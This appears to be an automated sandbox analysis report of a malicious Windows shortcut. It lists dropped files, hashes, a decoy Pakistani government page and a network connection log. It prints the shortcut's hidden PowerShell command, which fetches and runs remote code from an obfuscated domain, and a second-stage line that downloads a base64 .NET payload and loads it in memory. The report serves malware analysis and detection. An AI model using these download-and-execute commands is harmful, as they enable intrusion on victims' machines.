SHA1:	D1E5EAD06D013C6EE248F2FAD7A661F743A09F69
SHA-256:	E2456ADD19232DB696EBA5189231FA5BD5573DA554B86E65590ACB6F65A2E4EF
SHA-512:	EE7D818AE3E111E6AEC4E38AE9E917499132AF67460964C50C6A88981A539ECEB84B8F8A1C948164A2EF2C142FB050E2709BE7E2BE179CC84C17A109EAA0BBCF
Malicious:	false
Preview:	...................................FL..................F. .. ....n.5a.....s.Y...( ..Y................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...1..7a....?n.Y.....j.2.....>YI. .BX7YRZ~1.LNK..N......EW.>>YI............................P..B.X.7.y.R.z.7.X.q.F...l.n.k.......X...............-.......W............?......C:\Users\user\Desktop\BX7yRz7XqF.lnk..9.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.`.......X.......045012...........hT..CrF.f4... .;../Tc...,......hT..CrF.f4... .;../Tc...,..............Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....r..`....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.>..Windows.@......OwH>YI.....3.........................W.i.n.d.o.w.s.....Z.1.....>YF..

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Q2JYBAOS0TXVRHO4L8V8.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	4604
Entropy (8bit):	3.7970972150752185
Encrypted:	false
SSDEEP:	48:WHs4W5JYJlFlV+bTRl6eSogZo8JWJallV+bTRlJeSogZo8JWJO1:WplV+bTRWHDlV+bTR7HH
MD5:	B582DB02B9B67A492AC10BF5CF1E2F6C
SHA1:	D1E5EAD06D013C6EE248F2FAD7A661F743A09F69
SHA-256:	E2456ADD19232DB696EBA5189231FA5BD5573DA554B86E65590ACB6F65A2E4EF
SHA-512:	EE7D818AE3E111E6AEC4E38AE9E917499132AF67460964C50C6A88981A539ECEB84B8F8A1C948164A2EF2C142FB050E2709BE7E2BE179CC84C17A109EAA0BBCF
Malicious:	false
Preview:	...................................FL..................F. .. ....n.5a.....s.Y...( ..Y................................P.O. .:i.....+00.:...:..,.LB.)...A&...&........*_...1..7a....?n.Y.....j.2.....>YI. .BX7YRZ~1.LNK..N......EW.>>YI............................P..B.X.7.y.R.z.7.X.q.F...l.n.k.......X...............-.......W............?......C:\Users\user\Desktop\BX7yRz7XqF.lnk..9.%.P.r.o.g.r.a.m.F.i.l.e.s.(.x.8.6.).%.\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.`.......X.......045012...........hT..CrF.f4... .;../Tc...,......hT..CrF.f4... .;../Tc...,..............Y...1SPS.....Oh.....+'..=................R.u.n. .a.s. .A.d.m.i.n.i.s.t.r.a.t.o.r.........9...1SPS..mD..pH.H@..=x.....h....H.....K...YM...?...............................FL..................F.".. ...o1.Z.....r..`....."KW....@...........................P.O. .:i.....+00.../C:\...................V.1.....EW.>..Windows.@......OwH>YI.....3.........................W.i.n.d.o.w.s.....Z.1.....>YF..

C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	55
Entropy (8bit):	4.306461250274409
Encrypted:	false
SSDEEP:	3:YDQRWu83XfAw2fHbY:YMRl83Xt2f7Y
MD5:	DCA83F08D448911A14C22EBCACC5AD57
SHA1:	91270525521B7FE0D986DB19747F47D34B6318AD
SHA-256:	2B4B2D4A06044AD0BD2AE3287CFCBECD90B959FEB2F503AC258D7C0A235D6FE9
SHA-512:	96F3A02DC4AE302A30A376FC7082002065C7A35ECB74573DE66254EFD701E8FD9E9D867A2C8ABEB4C482738291B715D4965A0D2412663FDF1EE6CBC0BA9FBACA
Malicious:	false
Preview:	{"fontSetUri":"fontset-2017-04.json","baseUri":"fonts"}

Chrome Cache Entry: 76

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	527
Entropy (8bit):	4.801811297153848
Encrypted:	false
SSDEEP:	12:J0+ox0UDWsRGDW8hsw4Aox1WR3oKcpRmsXtmIrgvRMKiSQe9uE7F50v+T:yiUDWsYDWus/q3oKcpRTXt+vEHK50v+
MD5:	91B69177B0962BD96D0259982F719C13
SHA1:	2928B4AFCB66355CE9EAEEA22C3B0EEAB451F67A
SHA-256:	AECC7333C5335AA7B28DA1BE8EC4FFB4F64688FE496E17906A7D815024B920B5
SHA-512:	B9215EC5B0AD38C32C05A0805A7AD38483756C5428B1B5033927109980A2A98725BBDB985ECE6BEDA6801305FE627FBFB6B14CA3C6C197FC6866A73A6BD95807
Malicious:	false
URL:	https://pmo.gov.pk/favicon.ico
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>500 Internal Server Error</title>.</head><body>.<h1>Internal Server Error</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator at . root@localhost to inform them of the time this error occurred,. and the actions you performed just before this error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>.

Chrome Cache Entry: 77

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	downloaded
Size (bytes):	527
Entropy (8bit):	4.801811297153848
Encrypted:	false
SSDEEP:	12:J0+ox0UDWsRGDW8hsw4Aox1WR3oKcpRmsXtmIrgvRMKiSQe9uE7F50v+T:yiUDWsYDWus/q3oKcpRTXt+vEHK50v+
MD5:	91B69177B0962BD96D0259982F719C13
SHA1:	2928B4AFCB66355CE9EAEEA22C3B0EEAB451F67A
SHA-256:	AECC7333C5335AA7B28DA1BE8EC4FFB4F64688FE496E17906A7D815024B920B5
SHA-512:	B9215EC5B0AD38C32C05A0805A7AD38483756C5428B1B5033927109980A2A98725BBDB985ECE6BEDA6801305FE627FBFB6B14CA3C6C197FC6866A73A6BD95807
Malicious:	false
URL:	https://pmo.gov.pk/site/404
Preview:	<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>500 Internal Server Error</title>.</head><body>.<h1>Internal Server Error</h1>.<p>The server encountered an internal error or.misconfiguration and was unable to complete.your request.</p>.<p>Please contact the server administrator at . root@localhost to inform them of the time this error occurred,. and the actions you performed just before this error.</p>.<p>More information about this error may be available.in the server error log.</p>.</body></html>.

\Device\ConDrv

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with CRLF, LF line terminators
Category:	dropped
Size (bytes):	231
Entropy (8bit):	5.273389443785072
Encrypted:	false
SSDEEP:	6:3P2XIpsTAWKCsu2xKvGCg1L3ppNaA3gYZzI/HLN1:f2XIpsT7KC2egd3pjZdZE/rr
MD5:	118DB1A61CD4AE2687BDDD46AC20E9D4
SHA1:	8D5699C55E1E5D343B3A5E3CC7F822FB2F8E594E
SHA-256:	962BC1D758BBAA354CC24AB8238BB7CA328A80E16A850B95C3305C1839E48928
SHA-512:	677EB0C35139D42A33DFDF2D45F405940399E4BE1E36922C827FA094341E3DC6B41FBCBFD7DD25CCEC582D5ADA7BCBDDBBBEC70013774C66A0EC13A24B038EB9
Malicious:	false
Preview:	$string = irm ('http://cloud.dellicon.top/1000/500/'); $bytees = [System.Convert]::FromBase64String($string.Replace('^','')); [System.Reflection.Assembly]::Load($bytees);$Adobe = New-Object DSC.Sign; $Adobe.Connect('UpdateMe');...

Static File Info

General

File type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Description string, Has Relative path, Has command line arguments, Icon number=13, Archive, ctime=Wed Feb 14 17:37:15 2024, mtime=Sun Jun 30 05:37:40 2024, atime=Wed Feb 14 17:37:15 2024, length=455680, window=hidenormalshowminimized
Entropy (8bit):	4.375620491491154
TrID:	Windows Shortcut (20020/1) 100.00%
File name:	BX7yRz7XqF.lnk
File size:	2'033 bytes
MD5:	b642cbf2d292b2e92d5038e6dfbd2de7
SHA1:	4f92090113a65f13fa6ad128c7e492984a99d294
SHA256:	7d1585f9ed317bf06a63bd5aaaf015f6066c51a7153370579b2836d66142f877
SHA512:	a2a92f80509e1148a69d8a546d3b7962a4a7a32093fe282c813482f0e58d8b66773df020af89b83510de49357ed6fc6e013ce9f25fa5bb24723aa5e7a1508b2f
SSDEEP:	48:8saJgIslLzKQX6RpyvKaRsaRBW3rat74:8fg5XKQwYy6JXGu7
TLSH:	C6418B1427F61708F2F38B3EA8B76211493F7809C975DBCE026C91440B67551E866F3B
File Content Preview:	L..................F.... ....D7.t_..!.'$......A.t_...............................P.O. .:i.....+00.../C:\...................V.1......X.h..Windows.@........OwH.X.2...........................~..W.i.n.d.o.w.s.....Z.1......XR7..System32..B........OwH.X.2......

File Icon


Icon Hash:	74f4f4dcece9e9ed

Static Windows Shortcut Info

General
Relative Path:	..\..\..\..\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Command Line Argument:	-noLOG -WInDoWST HIDDe -NoeXI -NoprOFILE -noniNtErac -CommaN ping www.nadra.gov.pk; nslookup www.yahoo.com; nslookup www.protonmail.com; start https://pmo.gov.pk/site/404; $id='ftroof.top/'; &('i'+'r'+'m') http://pmofficepakistancloudserver.shi$id/WinSysMgr/\|Powershell
Icon location:	%ProgramFiles(x86)%\Microsoft\Edge\Application\msedge.exe

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Sep 30, 2024 18:58:13.156486034 CEST	49674	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:13.265799046 CEST	49675	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:13.281461000 CEST	49672	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:14.031404972 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 30, 2024 18:58:17.015873909 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 30, 2024 18:58:21.812675953 CEST	49671	443	192.168.2.7	204.79.197.203
Sep 30, 2024 18:58:22.765790939 CEST	49674	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:22.875155926 CEST	49675	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:22.890784025 CEST	49672	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:22.968899012 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 30, 2024 18:58:25.342677116 CEST	443	49701	104.98.116.138	192.168.2.7
Sep 30, 2024 18:58:25.342797041 CEST	49701	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:26.136106014 CEST	49702	80	192.168.2.7	172.67.132.65
Sep 30, 2024 18:58:26.141036034 CEST	80	49702	172.67.132.65	192.168.2.7
Sep 30, 2024 18:58:26.141155005 CEST	49702	80	192.168.2.7	172.67.132.65
Sep 30, 2024 18:58:26.199614048 CEST	49702	80	192.168.2.7	172.67.132.65
Sep 30, 2024 18:58:26.204420090 CEST	80	49702	172.67.132.65	192.168.2.7
Sep 30, 2024 18:58:26.394411087 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.394460917 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:26.394524097 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.395026922 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.395042896 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:26.395452023 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.395551920 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:26.395622015 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.395839930 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:26.395891905 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:26.976491928 CEST	80	49702	172.67.132.65	192.168.2.7
Sep 30, 2024 18:58:27.021898031 CEST	49702	80	192.168.2.7	172.67.132.65
Sep 30, 2024 18:58:27.582215071 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.583395004 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.583431959 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.584062099 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.584125042 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.584785938 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.584862947 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.585936069 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.586023092 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.586066961 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.627417088 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.640856981 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.640888929 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.741928101 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.988801003 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.988887072 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.988931894 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.989243984 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.990540981 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.990554094 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.991038084 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.991102934 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.991796017 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.991868973 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.993347883 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.993417025 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:27.995891094 CEST	49707	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:27.995923042 CEST	443	49707	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:28.087405920 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:28.087429047 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:28.149235010 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:28.546598911 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:28.546672106 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:28.546757936 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:28.555219889 CEST	49706	443	192.168.2.7	203.101.184.118
Sep 30, 2024 18:58:28.555238008 CEST	443	49706	203.101.184.118	192.168.2.7
Sep 30, 2024 18:58:30.545582056 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:30.545666933 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:30.545795918 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:30.546041012 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:30.546077013 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.191054106 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.191468954 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:31.191539049 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.194000006 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.194086075 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:31.195322037 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:31.195491076 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.299670935 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:31.299745083 CEST	443	49712	142.250.186.36	192.168.2.7
Sep 30, 2024 18:58:31.309214115 CEST	49714	80	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:31.314501047 CEST	80	49714	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:31.314765930 CEST	49714	80	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:31.315795898 CEST	49714	80	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:31.320816040 CEST	80	49714	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:31.500091076 CEST	49712	443	192.168.2.7	142.250.186.36
Sep 30, 2024 18:58:31.779834986 CEST	80	49714	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:31.792655945 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:31.792700052 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:31.792773008 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:31.946671009 CEST	49714	80	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:32.179547071 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:32.179564953 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:32.731446981 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:32.731522083 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:32.734462023 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:32.734472990 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:32.734728098 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:32.779416084 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:32.827405930 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:33.236777067 CEST	49701	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:33.237298965 CEST	49717	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:33.237365961 CEST	443	49717	104.98.116.138	192.168.2.7
Sep 30, 2024 18:58:33.237449884 CEST	49717	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:33.238133907 CEST	49717	443	192.168.2.7	104.98.116.138
Sep 30, 2024 18:58:33.238151073 CEST	443	49717	104.98.116.138	192.168.2.7
Sep 30, 2024 18:58:33.383447886 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:33.383672953 CEST	443	49715	172.67.149.9	192.168.2.7
Sep 30, 2024 18:58:33.383729935 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:33.384659052 CEST	443	49701	104.98.116.138	192.168.2.7
Sep 30, 2024 18:58:33.403439999 CEST	49715	443	192.168.2.7	172.67.149.9
Sep 30, 2024 18:58:34.891241074 CEST	49677	443	192.168.2.7	20.50.201.200
Sep 30, 2024 18:58:35.314608097 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:35.314663887 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:35.314728022 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:35.316095114 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:35.316106081 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:35.963433981 CEST	49719	80	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:35.968393087 CEST	80	49719	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:35.968466997 CEST	49719	80	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:35.969408035 CEST	49719	80	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:35.974258900 CEST	80	49719	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:35.989357948 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:35.989440918 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:35.997745991 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:35.997775078 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:35.998013973 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.203696966 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.444175005 CEST	80	49719	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.446531057 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.446578979 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.446690083 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.449765921 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.449784040 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.522089005 CEST	49719	80	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.764373064 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.811399937 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.911149979 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.911217928 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.913342953 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.913350105 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.913611889 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.919445992 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:36.963413954 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:36.986767054 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986793995 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986802101 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986830950 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986841917 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986850977 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986865997 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.986879110 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.986923933 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.986949921 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.987544060 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.987552881 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.987576962 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.987626076 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.987637043 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:36.987663984 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:36.987677097 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:37.681583881 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681641102 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681677103 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681741953 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.681756973 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681890011 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681919098 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.681922913 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681932926 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681982040 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.681994915 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.682001114 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.682049036 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.682049990 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.682059050 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.682099104 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.682105064 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.682218075 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.686357975 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686402082 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686429977 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686474085 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.686480045 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686521053 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.686532974 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686803102 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686845064 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686847925 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.686853886 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.686898947 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.686904907 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.687622070 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.687654972 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.687675953 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.687681913 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.687774897 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.687813044 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.687819004 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.688117981 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.688659906 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.688729048 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.688750982 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.688851118 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.688858986 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.688982964 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.691683054 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.691729069 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.691811085 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.691871881 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.691878080 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.711194038 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:37.711229086 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:37.711287022 CEST	49718	443	192.168.2.7	52.165.165.26
Sep 30, 2024 18:58:37.711293936 CEST	443	49718	52.165.165.26	192.168.2.7
Sep 30, 2024 18:58:37.735213995 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.739152908 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739237070 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739269018 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739299059 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739350080 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.739350080 CEST	49721	443	192.168.2.7	188.114.97.3
Sep 30, 2024 18:58:37.739358902 CEST	443	49721	188.114.97.3	192.168.2.7
Sep 30, 2024 18:58:37.739558935 CEST	443	49721	188.114.97.3	192.168.2.7
